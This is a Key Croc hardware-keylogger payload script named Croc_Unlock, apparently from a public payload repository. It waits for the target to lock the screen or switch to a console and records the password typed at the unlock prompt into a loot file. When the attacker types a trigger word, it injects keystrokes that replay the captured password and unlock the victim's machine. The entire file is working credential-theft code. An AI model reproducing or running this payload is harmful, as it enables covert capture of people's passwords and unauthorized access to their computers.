keycroc-payloads/payloads/library/credentials/Croc_Unlock/Croc_Unlock.txt

96 lines
2.6 KiB
Plaintext

# Title: Croc_Unlock
# Description: Save target passwd with SAVEKEYS command by pressing GUI-l or CONTROL-ALT-F3
# Log in with typing crocunlock, save at /loot/Croc_Pot/Croc_unlock.txt.filtered and /tools/Croc_Pot/Croc_unlock.txt.filtered
# Author: Spywill
# Version: 2.2
# Category: Key Croc
# Props: RootJunky
MATCH (crocunlock|GUI-l|CONTROL-ALT-F3)
UNLOCK_TMP="/tmp/unlock_Count.txt"
CROC_POT_DIR=(/root/udisk/loot/Croc_Pot /root/udisk/tools/Croc_Pot)
for dir in "${CROC_POT_DIR[@]}"; do [[ ! -d "$dir" ]] && mkdir "$dir" || LED B; done
UNLOCK_FILE() {
until [ -f /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered ]; do
:
done
sed -i '/\b'$(sed -n 1p /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered)'\b/!d' /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered
LED G
Q DELAY 1000
LED OFF
}
UNLOCK_COUNT() {
if [ -f $UNLOCK_TMP ]; then
i=$(sed -n 1p $UNLOCK_TMP)
echo "$(( $i + 1 ))" > $UNLOCK_TMP
else
echo "$(( i++ ))" > $UNLOCK_TMP
if [ -f /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered ]; then
sed -i '/\b'$(sed -n 1p /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered)'\b/!d' /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered
cat /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered >> /root/udisk/loot/Croc_Pot/Croc_unlock.txt.filtered
rm -f /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered /root/udisk/tools/Croc_Pot/Croc_unlock.txt
fi
fi
Q DELAY 1000
}
RELOAD() {
killall -9 bash
killall -9 python
sleep 1
RELOAD_PAYLOADS
}
case $LOOT in
"GUI-l" | "CONTROL-ALT-F3")
UNLOCK_COUNT
if [ "$(sed -n 1p $UNLOCK_TMP)" -gt "0" ]; then
UNLOCK_FILE
RELOAD
elif [ "$(sed -n 1p $UNLOCK_TMP)" -eq "0" ]; then
if [ "$LOOT" = "CONTROL-ALT-F3" ]; then
if [ -f /root/udisk/tools/Croc_Pot/Croc_OS.txt ]; then
if [ "$(sed -n 3p /root/udisk/tools/Croc_Pot/Croc_OS.txt)" = "raspberrypi" ]; then
Q STRING "$(sed -n 1p /root/udisk/tools/Croc_Pot/Croc_OS_Target.txt)"
Q ENTER
Q DELAY 1000
fi
fi
elif [ "$LOOT" = "GUI-l" ]; then
Q BACKSPACE
fi
SAVEKEYS /root/udisk/tools/Croc_Pot/Croc_unlock.txt UNTIL ENTER
LED ATTACK
UNLOCK_FILE
fi
;;
crocunlock)
if [ -f /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered ]; then
UNLOCK_FILE
LED SETUP
Q BACKSPACE
Q BACKSPACE
Q BACKSPACE
Q BACKSPACE
Q BACKSPACE
Q BACKSPACE
Q BACKSPACE
Q BACKSPACE
Q BACKSPACE
Q BACKSPACE
Q DELAY 1000
Q STRING "$(sed '$!d' /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered)"
Q ENTER
LED OFF
RELOAD
else
LED R
RELOAD
fi
;;
esac